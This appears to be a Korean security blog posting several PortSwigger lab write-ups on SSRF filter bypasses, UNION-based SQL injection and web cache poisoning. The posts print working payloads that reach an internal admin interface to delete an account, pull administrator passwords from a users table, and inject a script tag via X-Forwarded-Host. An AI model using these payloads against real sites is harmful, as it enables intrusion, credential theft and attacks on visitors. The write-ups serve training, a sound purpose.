@기호는 사용자의 정보와 실제 접속할 호스트를 구분하는 기호로 사용됩니다.예를들어 https://user:pw@test.com/mypage URL 파싱할때 user:pw는 인증 정보, 즉 자격증명에 사용되고 실제로 접속하는 웹 사이트는 test.com 이 됩니다. 이런식으로 사용되는 @ 기호의 경우 현재는 거의 사용되지 않고 문법만 남아있는 상태라고 합니다.

[URL 파싱에서의 #(Fragment) 기호]
URL 파싱에서 # 기호는 웹 문서의 내부의 특정 섹션이나 리소스를 가리킬 때 사용하는 기호 입니다. 웹 브라우저가 서버에 요청을 보낼 때 # 기호 뒤의 값들은 요청에 포함되지 않고 클라이언트 측에서 처리됩니다.

문제 설명

해당 랩을 해결하기 위해서는 check stock URL을 admin 인터페이스로 바꿔 접근한 뒤 carlos 계정을 삭제해야 한다고 합니다. 하지만 개발자가 SSRF 방어 로직을 사용 중이라고 하며 우회할 필요가 있다고 합니다.

문제 풀이

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

Check stock 버튼을 클릭합니다.

Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

세팅한 요청을 전송해 보면 아래와 같이 재고 결과가 나오는 것을 확인할 수 있습니다.

stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 호스트가 stock.weliketoshop.net 이어야 한다는 응답 메시지를 반환하며 필터링이 되고 있는 것을 알 수 있습니다.

@ 기호를 사용할 수 있는지 확인하기 위해서 해당 기호를 사용합니다. 서버가 stock.weliketoshop.net에 접근하게 만들고 접근 불가능 응답이 반환되지 않으며 @ 기호를 사용할 수 있다는 것을 알 수 있습니다.

[페이로드]
stockApi=http://localhost@stock.weliketoshop.net:8080/admin

[설명]
@ 기호는 사용자 정보와 실제 접속할 호스트를 나눈다고 설명했었습니다. 따라서 stockApi 파라미터에 페이로드를 삽입하게 되면 서버는 호스트를 stock.weliketoshop.net으로 인식하게 됩니다.

페이로드를 분석해 보면 http://localhost@stock.weliketoshop.net:8080/admin중 localhost@stock.weliketoshop.net 부분에서 localhost가 자격 증명에 사용되는 인증 정보가 되고 호스트가 stock.weliketoshop.net이 됩니다. 응답을 보면 알 수 있듯이 호스트가 stock.weliketoshop.net이기 때문에 접근이 불가능한 응답 메시지를 반환하지 않고 있는 것을 볼 수 있습니다.
(missing parameter 메시지의 경우 stock.weliketoshop.net:8080으로 요청을 보냈을때 파라미터가 없으면 반환하는 메시지 입니다.)

이번엔 @ 기호 앞에 # 기호를 삽입했을 때 응답을 보면 호스트를 stock.weliketoshop.net으로 인식하지 못해 필터링에 걸리게 되는 것을 볼 수 있습니다.

[설명]
stockApi 파라미터 값을 URL 파싱 하는 과정에서 # 기호 뒤에 값이 Fragment로 처리되고 있기 때문에 호스트를 stock.weliketoshop.net으로 인식하지 못하는 것입니다.

이전 단계의 페이로드에서 @기호 앞에 # 기호를 이중 인코딩한 값을 삽입하고 요청을 전송하면 필터링을 우회하여 admin 인터페이스에 접근이 가능하게 됩니다.

[페이로드]
http://localhost%25%32%33@stock.weliketoshop.net:8080/admin

[설명]
# 기호를 이중 인코딩 하지 않은 페이로드인
http://localhost#@stock.weliketoshop.net:8080/admin
을 사용하여 요청을 전송하게 되면 # 기호 뒤의 값들은 stockApi 파라미터 값을 URL 파싱 하는 과정에서 Fragment 처리가 되어 서버로 전송되지 않기 때문에 호스트가 stock.weliketoshop.net로 인식되지 않아 필터링에 걸리게 됩니다.

하지만 # 기호를 이중 인코딩을 하고 요청을 보내면 form 데이터를 처리하는 과정에서 %25%32%33을 디코딩 하게 되고 서버가 입력 값을 검증할 때 비교하는 값은
http://localhost%23@stock.weliketoshop.net:8080/admin
이 됩니다. 즉 %23은 # 기호가 아닌 그냥 문자열 취급을 받기 때문에 %23뒤에는 Fragment 처리가 되지 않습니다. 이 과정에서 @ 기호를 기준으로 앞부분은 사용자 인증 정보 뒷부분은 실제 접속 호스트로 해석하게 됩니다.

서버는 @ 기호로 인해 호스트가 stock.weliketoshop.net인 것으로 확인했기 때문에 필터링 검사를 통과시키게 됩니다. 이때 또 중요한 점이 있는데 서버가 stockApi 파라미터 값을 받아서 실제 요청을 전송할 때 URL이 디코딩 되어 %23이 한번 더 디코딩 되고 # 기호로 해석되는 것으로 보인다는 점입니다.

정리하면 stockApi 값 검사 과정에서 호스트가 stock.weliketoshop.net으로 해석되어 필터링을 통과하고 실제 요청을 하는 과정에서 %23이 한 번 더 디코딩 되어 # 기호처럼 해석됩니다. 이 경우 http://localhost#@stock.weliketoshop.net:8080/admin 이 되고 # 기호 뒤에는 Fragment 처리가 되어 localhost의 admin 인터페이스에 접근이 가능해집니다. 따라서 외부에서 접근이 불가능한 내부 주소를 서버가 대신 요청하여 접근을 가능하게 했으므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.

응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 전송합니다.

이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

admin 인터페이스에 다시 접속해 보면 실제로 carlos의 계정이 삭제된 것을 볼 수 있습니다.

Lab: SSRF with blacklist-based input filter

0xSecurity — Tue, 23 Jun 2026 13:47:22 +0900

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

목표 & 사용 도구

목표: admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 문제를 풀기 위해서는 admin 인터페이스에 접근해서 carlos의 계정을 삭제해야 합니다. 강도가 낮은 SSRF 방어 로직을 사용 중이며 우회를 할 필요가 있다고 합니다.

문제 풀이 - Lab: SSRF with blacklist-based input filter

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

Check stock 버튼을 클릭합니다.

Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL이라는 응답 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다. (요청을 아래로 내리면 stockApi 파라미터가 있습니다.)

[설명]
stockApi 파라미터 값은 서버가 재고 확인 API로 요청을 보내기 위해 사용하는 URL입니다. 응답을 보면 알 수 있듯이 admin 인터페이스의 경우 외부 주소에서는 접근이 불가능하기 때문에 접속할 수 없는 상황입니다.

stockApi 파라미터의 값을 임의의 URL로 바꾸고 응답을 확인해 보면 연결 에러 응답을 받고 있는 것을 확인해 볼 수 있습니다.

[설명]
stockApi 파라미터에 입력했던 URL을 보면 결과는 다음과 같았습니다.

stockApi=http://localhost/admin (접근 불가, 차단 메시지)
stockApi=http://test/test (연결 에러)

프로토콜은 같고 도메인, 경로가 다를 때 응답 결과가 다른 것을 볼 수 있는데 처음 시도했던 페이로드의 경우 차단 메시지가 반환되지만 두 번째 페이로드의 경우 도메인, 경로가 달랐을 때 연결 에러 메시지를 반환하는 것을 볼 수 있습니다. 도메인, 경로가 달라졌을 때는 차단 메시가 반환이 되지 않고 있기 때문에 localhost, admin 문자열과 같이 특정 문자열만 필터링이 되고 있다고 생각해 볼 수 있습니다.

stockApi 파라미터에 삽입했던 임의의 URL에서 경로에 localhost를 삽입해 보고 요청을 보냈을 때 응답을 보면 차단을 당하고 있기 때문에 localhost 문자열이 필터링 되고 있다는 것을 알 수 있습니다.

이번엔 localhost가 아닌 admin을 삽입해 보고 응답을 확인하면 똑같이 차단당하고 있기 때문에 admin 문자열도 필터링 되고 있다는 사실을 알 수 있습니다.

localhost 문자열이 필터링 되고 있는데 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환되지 않고 있기 때문에 우회에 성공했다는 것을 알 수 있습니다.

admin 문자열도 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환이 되지 않기 때문에 우회에 성공했다는 것을 알 수 있습니다.

stockApi 파라미터를 통해 admin 인터페이스에 접근할 때 알아낸 우회 방법을 통해 접근을 해보면 admin 인터페이스에 성공적으로 접속할 수 있기 때문에 SSRF 취약점이 존재하고 있으며 필터링이 미흡하다는 것을 알 수 있습니다.

[페이로드]
stockApi=http://Localhost/Admin

[설명]
localhost, admin 문자열을 사용하면 필터링에 의해 차단되는 것을 확인했었고 앞 글자만 대문자로 바꾸면 우회를 할 수 있다는 것을 통해 서버 측 필터 로직은 대소문자를 구분하여 필터링하고 있다는 것을 알 수 있었습니다. 따라서 admin 인터페이스 URL을 입력할 때 localhost, admin 문자열의 앞 글자만 대문자로 바꿔주면 우회가 가능하고 admin 인터페이스에 접근이 가능하다는 것을 알 수 있습니다.

결과적으로 stockApi 파라미터에 대해서 필터링이 미흡했기 때문에 서버가 공격자가 입력한 내부 주소로 요청을 보내게 하여 내부 주소에 접근이 가능했기 때문에 SSRF 취약점이 존재합니다.

응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 보냅니다.

이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.

Lab: SSRF with filter bypass via open redirection vulnerability

0xSecurity — Sun, 21 Jun 2026 23:31:27 +0900

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

목표 & 사용 도구

목표: carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

문제 설명

admin 인터페이스 주소는 http://192.168.0.12:8080/admin 이라는 것을 알 수 있고 해당 페이지에서 carlos 계정을 삭제하면 문제를 클리어하게 됩니다. 이때 admin 인터페이스의 경우 서버가 접근 가능한 내부 네트워크에서만 접근이 가능하며 직접적인 접근은 필터링에 의해 차단되게 됩니다. 따라서 open redirect 기능을 찾아야 한다고 설명하고 있습니다.

문제 풀이 - https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

Check stock 버튼을 클릭합니다.

Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL 이라는 응답이 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다.

[설명]
stockApi 파라미터 값은 서버가 재고 확인 API로 요청을 보내기 위해 사용하는 URL 입니다. 응답을 보면 알 수 있듯이 admin 인터페이스의 경우 외부 주소에서는 접근이 불가능하기 때문에 접속할 수 없는 상황입니다.

웹 사이트로 돌아가서 Next product 버튼을 클릭합니다.

Next product 버튼을 클릭했을 때의 요청 및 응답을 취득해 보면 Redirect가 되고 있고 path 파라미터의 입력된 값(주소)이 Location 헤더 값으로 들어가는 것을 알 수 있습니다.

Ridrect를 따라가보면 path 파라미터 값으로 들어간 경로로 이동하는 것을 볼 수 있으며 Open Redirect 취약점이 존재한다는 것을 알 수 있습니다.
(Burp Suite Follow redirection 기능을 사용합니다.)

Check stock 버튼을 클릭했을 때의 요청으로 돌아가서 stockApi 파라미터에 Redirect URL을 입력하면 해당 URL로 서버가 접근하여 Redirect가 된 응답을 반환하는 것을 확인합니다.

페이로드: stockApi=/product/nextProduct?currentProductId=3%26path=/product?productId=2

[설명]
stockApi의 경우 파라미터 값에 외부 주소를 입력하면 접근이 불가능한 상태인 것을 이전에 확인했었습니다. 하지만 이전 단계에서 발견했던 Redirect 기능의 경우 내부 주소에서 사용하는 기능이기 때문에 stockApi 파라미터 값에 Redirect 기능을 수행하는 URL 주소를 입력하면 Redirect된 응답을 반환하게 됩니다.

또한 페이로드를 입력할 때 %26은 & 기호에 해당하며 &기호를 URL 인코딩 처리를 하지 않을 경우 path 파라미터가 stockApi의 값으로 인식되는 것이 아닌 또 다른 파라미터로 인식하여 에러 응답을 받게 됩니다.

이번엔 전 단계에서 사용했던 페이로드에서 path 값에 admin 인터페이스가 있는 경로를 삽입하고 요청을 보내면 원래 접근할 수 없었던 admin 인터페이스에 접근이 가능하므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.

응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

Check stock를 클릭할 때의 요청으로 돌아가서 복사했던 carlos 계정 삭제 URL을 path 파라미터에 삽입하고 요청을 보냅니다.

페이로드: stockApi=/product/nextProduct?currentProductId=3%26path=http://192.168.0.12:8080/admin/delete?username=carlos

[설명]
stockApi 파라미터 값에 포함된 path 파라미터에 carlos 계정을 삭제하는 URL을 입력하고 요청을 보내면 서버 쪽에서는 URL이 내부 주소기 때문에 해당 요청을 통과시키고 Open Redirect 기능으로 인해 서버가 carlos 계정을 삭제하는 URL 주소에 접근하게 되어 최종적으로 carlos 계정이 삭제되게 됩니다.

이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.

Lab: SQL injection UNION attack, retrieving multiple values in a single column

0xSecurity — Thu, 18 Jun 2026 13:30:12 +0900

문제 링크

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column

목표 & 사용 도구

목표: administrator 계정의 비밀번호를 알아내서 해당 계정으로 로그인을 하는 것입니다.

사용도구: Burp Suite

문제 풀이 - Lab: SQL injection UNION attack, retrieving multiple values in a single column

문제 사이트에 접속하여 문제를 확인합니다. 해당 문제는 상품 카테고리 필터에 SQL Injection 취약점이 있다고 하며 UNION을 사용할 수 있다고 합니다. 또한 쿼리에 대한 응답이 화면에 반환이 되며 DB에는 user 테이블이 있고 해당 테이블에는 username과 password 컬럼이 있다고 합니다. ACCESS THE LAB을 클릭하여 랩에 접속합니다.

랩에 접속하면 카테고리를 설정할 수 있는데 아무 카테고리를 클릭해 줍니다. (저는 Gifts로 선택했습니다.)

Burp Suite를 이용해서 카테고리를 선택했을 때의 요청을 Repeater 기능에 세팅합니다.

페이로드를 입력해서 먼저 SQL Injection이 가능한지 확인합니다.

- sql query 문 조건식 참일 때

페이로드: Gifts'+and+'1'='1

[설명]
페이로드에서 + 기호는 공백(스페이스)를 의미합니다.

- sql query 문 조건식 거짓일 때

페이로드: Gifts'+and+'1'='2

[설명]
sql query 문 조건식이 참, 거짓일 때의 따라 화면에 반환되는 응답이 다르다는 것을 알 수 있고 이는 사용자의 입력 값이 sql query 문에 반영이 되고 있으며 조작할 수 있음을 의미합니다.

문제에서 UNION 구문을 사용할 수 있다고 했으며 UNION 구문을 사용하기 위해서는 먼저 컬럼의 개수를 알아야 합니다. order by와 # (주석 기호)를 이용해서 확인하려고 했지만 에러가 발생하는 것을 확인할 수 있습니다.

[설명]
DB마다 주석 처리할 때 기호가 조금씩 다를 수 있습니다. # 기호의 경우 MySQL, MariaDB에서 사용되는 주석 처리 기호이며 해당 기호를 사용했을 때 에러가 발생했으므로 랩에서 사용하는 DB는 MySQL, MariaDB가 아니라는 것을 알 수 있습니다.

또한 주석을 사용하는 이유는 사용자의 입력 값으로 싱글 쿼터가 들어가면 실제로 완성되는 sql query 문에서 싱글 쿼터가 하나 남아 에러가 발생하기 때문에 해당 에러를 발생시키지 않도록 하려고 주석을 사용하는 것입니다.

이번엔 - 기호를 이용해서 order by와 주석 처리를 시도하여 컬럼의 개수를 알아냅니다

페이로드: Gifts'+order+by+1-- (응답 정상 반환)
페이로드: Gifts'+order+by+2-- (응답 정상 반환)
페이로드: Gifts'+order+by+3-- (에러)

[설명]
- 기호를 이용한 주석은 대부분의 관계형 DB에서 작동하며 order by 1, order by 2 에서 응답이 정상적으로 화면에 반환되고 있으므로 컬럼의 개수가 2개 이상이라는 것을 알 수 있습니다. 이어서 order by 3을 했을 때 응답에서 에러가 발생하게 되는데 세번 째 컬럼은 존재하지는 컬럼을 정렬하려고 했기 때문에 에러가 발생하는 것입니다. 따라서 컬럼은 2개 존재한다는 것을 알 수 있습니다.

- order by 1

- order by 2

- order by 3

컬럼의 개수가 2개인 것을 알아냈으므로 이제 UNION 구문을 사용할 수 있는지 확인합니다.

페이로드: '+union+select+null,null--

[설명]
union 구문을 사용할 때 대응되는 컬럼의 데이터 타입이 같은 타입이어야 하는 DB들이 있으며 Oracle, PostgreSQL 와 같은 DB들이 해당됩니다. 따라서 union 구문을 사용할 때 null을 사용합니다. null은 특정 타입이 정해진 값이 아니기 때문에 대부분 사용이 가능합니다.
(MySQL, MariaDB의 경우 자동으로 데이터 타입이 캐스팅됩니다.)

또한 웹 애플리케이션이 어떤 DB를 사용하느냐에 따라 UNION 구문을 사용하여 공격을 시도할 때 문법이 조금씩 달라지게 됩니다. 예를 들면 Oracle DB의 경우 from 절이 있어야 하기 때문에 from dual을 사용해야 합니다. 이번 페이로드는 Oracle DB가 아니라고 생각하고 페이로드를 사용했습니다.

화면에 에러가 발생하지 않고 응답이 정상적으로 오고 있기 때문에 정상적으로 UNION 구문이 사용 가능하다는 것을 알 수 있습니다.

데이터 타입을 알아내기 위해 첫 번째 컬럼 위치에 숫자를 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 정상적으로 응답이 반환되기 때문에 첫 번째 컬럼은 데이터 타입이 숫자형인 것을 알 수 있습니다.

이어서 두 번째 컬럼에도 숫자를 넣고 응답을 확인합니다. 에러가 발생하는 것을 볼 수 있으며 두 번째 컬럼의 경우 데이터 타입이 숫자형이 아니라는 것을 알 수 있습니다.

이번엔 두 번째 컬럼에 문자열을 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 응답이 정상적으로 반환되고 있기 때문에 두 번째 컬럼은 데이터 타입이 문자열에 해당한다는 것을 알 수 있습니다. 또한 두 번째 컬럼에 삽입했던 값이 화면에 출력되는 것도 확인할 수 있습니다.

두 컬럼의 데이터 타입을 파악했고 어떤 DB를 사용 중인지 알아내기 위해서 DB version을 출력하는 함수를 사용합니다. 이때 DB 별 version을 출력해 주는 함수 또는 구문이 다를 수 있기 때문에 여러 가지를 시도해 봐야 합니다. 화면에 출력되는 컬럼인 두 번째 컬럼에 version() 함수를 입력해 봤을 때 결과를 보면 PostgreSQL을 사용하고 있다는 것을 알 수 있습니다.

문제에서 설명했듯이 users 테이블에 username과 password 컬럼이 있기 때문에 다음 페이로드를 삽입하여 administrator 계정이 존재하는지 확인합니다.

페이로드: '+union+select+1,username+from+users--

[설명]
users 테이블로부터 username 컬럼의 데이터를 가져옵니다. 두 번째 컬럼에 값이 들어갔을 때 화면에 출력이 되기 때문에 두 번째 컬럼에 username 컬럼을 삽입해야 합니다.

administrator 계정이 존재하기 때문에 해당 계정의 비밀번호를 알아내는 페이로드를 작성하여 비밀번호를 알아냅니다.

페이로드: '+union+select+1,password+from+users+where+username='administrator'--

[설명]
users 테이블에서 username이 administrator인 계정의 비밀번호를 가져옵니다.

추가) 다음과 같은 페이로드로 각 계정과 비밀번호를 한 번에 출력할 수도 있습니다.

페이로드: '+union+select+null,username||'-'||password+from+users--

[설명]
PostgreSQL에서 || 연산자는 문자열을 연결할 때 사용하는 연산자입니다. 예를 들면
입력: 'te' || ' ' || 'st'
결과: te st
이런 식입니다.

현재 화면에 출력되는 컬럼은 두 번째 컬럼 하나뿐입니다. 따라서 사용자의 계정과 비밀번호를 한 번에 출력할 수 없는 상황이지만 문자열을 연결해 주는 || 연산자를 사용한다면 한 번에 여러 개의 컬럼 데이터를 추출할 수 있게 됩니다. username||'-'||password 를 입력하면 (유저이름)-(비밀번호)가 화면에 출력되게 됩니다. 여기서 - 기호는 사용자의 이름과 비밀번호를 구분하기 위해서 사용한 기호입니다.

My account 버튼을 클릭해서 로그인 입력 창으로 이동한 뒤 알아낸 비밀번호를 가지고 로그인 administrator의 계정으로 로그인을 시도합니다.

UNION SQL Injection 공격을 통해 알아낸 administrator 비밀번호로 로그인이 되면서 해당 랩 문제를 클리어하게 됩니다.

Lab: Web cache poisoning with an unkeyed header

0xSecurity — Sat, 2 May 2026 02:59:56 +0900

문제 링크

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

목표 & 도구

목표: 캐시 포이즈닝 취약점을 이용하여 방문자의 브라우저에서 alert(document.cookie)를 실행되도록 하는 것입니다.

사용도구: Burp Suite + Param Miner(Extension)

사전 지식

- 웹 캐시 포이즈닝(Web Cache Poisoning)
캐시 서버에 악의적인 응답을 저장시켜서 해당 캐시를 받는 타 사용자에게 공격을 수행하는 공격 기법입니다.

- 캐시 키(Cache Key)
캐시 서버가 요청을 식별할 때 사용하는 고유한 값입니다. 캐시 서버는 모든 헤더를 캐시 키로 사용하지 않고 일부 헤더만 캐시 키로 사용합니다.

- Unkeyed 헤더
캐시 키에서 제외된 헤더를 말합니다. 캐시 키로 사용되지 않지만 백엔드에서는 해당 헤더를 읽고 응답을 생성할 수 있기 때문에 캐시 포이즈닝 공격에 사용될 수 있습니다.

- Cache-Control 헤더

max-age: 캐시 유지 시간을 나타냅니다.

- Age 헤더

캐시 된 후 얼마나 지났는지 초 단위로 나타냅니다.

- X-Cache 헤더

hit: 응답이 캐시에서 제공되었음을 의미합니다. (백엔드 도달 X)
miss: 응답이 원본 서버(백엔드)에서 왔음을 의미합니다.(백엔드 도달 O)

ex) 응답 헤더(Response Header)
Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 0 -> 캐시 된 시간을 나타냅니다.
X-Cache: miss -> 백엔드 서버 도달 O

Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 5 -> 캐시 된 지 5초 지났음을 의미합니다.
X-Cache: hit -> 백엔드 서버 도달 X

- 캐시 버스터(Cache Buster)
웹 브라우저나 프록시 서버가 이전에 저장된 캐시를 사용하지 않고 서버로부터 최신 버전의 리소스를 강제로 받도록 하는 기술을 말합니다. 캐시 포이즈닝 공격을 테스트할 때 실제 운영 중인 페이지가 오염되면 다른 사용자에게 피해가 발생할 수 있기 때문에

?test=1234와 같이 임의의 파라미터를 추가해서 별도의 캐시 키를 생성해서 사용합니다.

[캐시 버스터 사용 X]
테스트하는 사람 -> / + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝으로 인한 공격 영향받음.

[캐시 버스터 사용 O]
테스트하는 사람 -> /?test=1234 + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝 공격으로 인한 공격 영향 안 받음.

문제 풀이 - https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

문제 사이트에 접속하여 문제를 확인합니다. 해당 LAB은 unkeyed 헤더의 입력을 안전하지 않은 방식으로 처리를 하고 있어 웹 캐시 포이즈닝 취약점이 존재한다고 합니다. 문제를 해결하기 위해선 방문자의 브라우저에서 캐시 포이즈닝 공격을 통해 alert(document.cookie)가 실행 되도록 해야 한다는 것을 알 수 있습니다.

LAB의 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득하여 확인해 보면 응답 헤더에 Cache-Control, Age, X-Cache 헤더가 있는 것을 확인합니다.

실제 캐시를 오염시키면 타 사용자에게 피해가 발생할 수 있기 때문에 테스트를 할 때 캐시 버스터(Cache Buster)를 사용합니다.

캐시 버스터를 사용해서 요청을 보낸 뒤 캐시가 유지되는 시간인 30초 이내에 동일한 경로와 파라미터로 다시 요청을 해보면 캐시 된 시간인 Age가 1초 지났다는 것과 X-Cache가 hit이기 때문에 캐시가 정상적으로 동작하고 있음을 알 수 있습니다.

문제에서 unkeyed 헤더로 인한 취약점 있다고 명시해 줬기 때문에 unkeyed 헤더를 찾기 위해 Burp Extension에서 제공하는 Param Miner를 사용합니다.(커뮤니티 버전도 무료 다운로드 가능합니다.) Proxy > HTTP history에서 /?test=1234 경로로 접근할 때의 요청에 마우스를 올리고 우클릭 > Extensions > Param Miner > Guess headers를 클릭합니다.

+) Param Miner를 사용하지 않고 수동으로도 테스트가 가능합니다

Attack Config 창이 화면에 보이면 poison only에 체크하고 ok를 클릭합니다. (poison only 옵션은 캐시 포이즈닝 취약점을 집중적으로 찾아내도록 설정하는 옵션입니다.)

Burp의 Extensions > Installed 탭에 들어가서 아래의 Output을 확인합니다.

시간이 지나면 unkeyed인 헤더를 찾을 수 있으며 X-Forwarded-Host 헤더가 unkeyed 헤더인 것을 알아냅니다.

Burp Suite의 Repeater 기능을 이용하여 /?test=1234에 요청을 보낼 때 요청 헤더에 unkeyed 헤더인 X-Forwarded-Host를 삽입하고 헤더 값은 임의의 값으로 설정하여 요청을 보냅니다. 이후 응답을 확인해 보면 js 파일을 가져올 때 host 부분이 X-Forwarded-Host에 입력했던 헤더 값(임의의 값)으로 되어 있는 것을 확인할 수 있습니다.

+) 이때의 X-Cache는 miss입니다.
X-Forwarded-Host 헤더가 백엔드에서 처리되기 때문에 응답에 반영되며 이것이 캐시에 저장됩니다.

캐시가 만료되기 전에 웹 페이지 URL 주소창에 /?test=1234 을 입력하여 접근합니다.

접근했을 때의 요청 및 응답을 확인해 보면 X-Forwarded-Host 헤더를 추가하지 않았는데 이전에 입력했던 임의의 값이 host로 들어가는 js 파일을 가져오고 있는 것을 볼 수 있습니다.

+) 이때의 X-Cache는 hit입니다.
X-Forwarded-Host 헤더가 처리된 응답이 캐시에 저장되어 있기 때문에 캐시 된 응답을 받게 됩니다.

다시 Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이용하여 script 태그의 src 속성 값을 사용자가 임의로 끊어서 다른 스크립트를 로드할 수 있는지 확인합니다.

[페이로드(입력 값)]

페이로드: X-Forwarded-Host: test1234"><"

[설명]
사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다.
<script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js">

페이로드를 입력하고 응답을 보면
<script type="~" src="//test1234"><"/resources/js/tracking.js">이 되면서 src="//test1234"에서 파일을 가져오려고 시도하게 됩니다.

이때 캐시가 만료되기 전에 /?test=1234로 사용자가 접근했을 때의 HTTP History를 보게 되면 캐시 된 응답이 script 태그에 담겨오고 있는 것을 볼 수 있으며 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되어 https://test1234/ 에서 파일을 가져오려고 시도하고 있음을 알 수 있습니다.

LAB에서 Go to exploit server를 클릭하여 접근합니다.

Head에 Content-Type이 application/javascript 이며 문제 해결을 위해선 타 사용자가 방문했을 때 alert(document.cookie)가 실행되어야 하기 때문에 Body에 해당 스크립트를 삽입합니다. 이후 Store를 클릭하여 내용들을 저장합니다. (스크립트 저장된 경로: https://{exploit_server_id}.exploit-server.net/exploit)

Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이전 단계에서 스크립트를 삽입했던 경로인 {exploit_server_id}.exploit-server.net/exploit 으로 입력하고 요청을 보냅니다. 응답을 보면 src 속성이 스크립트가 저장된 페이지에 접근하도록 되어있는 것을 볼 수 있습니다.

[페이로드(입력 값)]

페이로드: X-Forwarded-Host: {exploit_server_id}.exploit-server.net/exploit"><"

[설명]
사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다.
<script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js">

페이로드를 입력하고 응답을 보면
<script type="~" src="//{exploit_server_id}.exploit-server.net/exploit"><"/resources/js/tracking.js">이 되면서 문법을 파괴하지 않고 src 속성으로 인해 스크립트가 저장되어 있는 {exploit_server_id}.exploit-server.net/exploit 경로로 접근하게 됩니다.

캐시가 만료되기 전에 웹 페이지에 접속하여 /?test=1234 경로로 접근을 합니다.

alert 창이 화면에 나오면서 스크립트가 실행되는 것을 확인할 수 있으며 캐시 포이즈닝 공격에 성공했음을 알 수 있습니다. 이때 캐시 버스터를 사용하면 문제가 solve 처리되지 않기 때문에 실제 공격을 할 때는 캐시 버스터 없이 진행합니다.

캐시 버스터 없이 X-Forwarded-Host 헤더 값을 설정합니다. 이때 중요한 점은 X-Cache가 miss 여야 정상적으로 동작합니다.

[페이로드(입력 값)]

페이로드: X-Forwarded-Host: {exploit_server_id}.exploit-server.net/exploit"><"

캐시가 만료되기 전에 다시 메인 홈페이지에 접근합니다.

alert 함수가 호출되는 것을 확인하고 확인을 클릭합니다.

문제에서 요구하는 alert(document.cookie)가 성공적으로 실행됐기 때문에 해당 LAB 문제를 성공적으로 풀게 됩니다.

Lab: Blind SQL injection with time delays and information retrieval

0xSecurity — Sat, 25 Apr 2026 23:20:45 +0900

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

목표 & 도구

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

사용도구: Burp Suite, Visual Studio Code

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

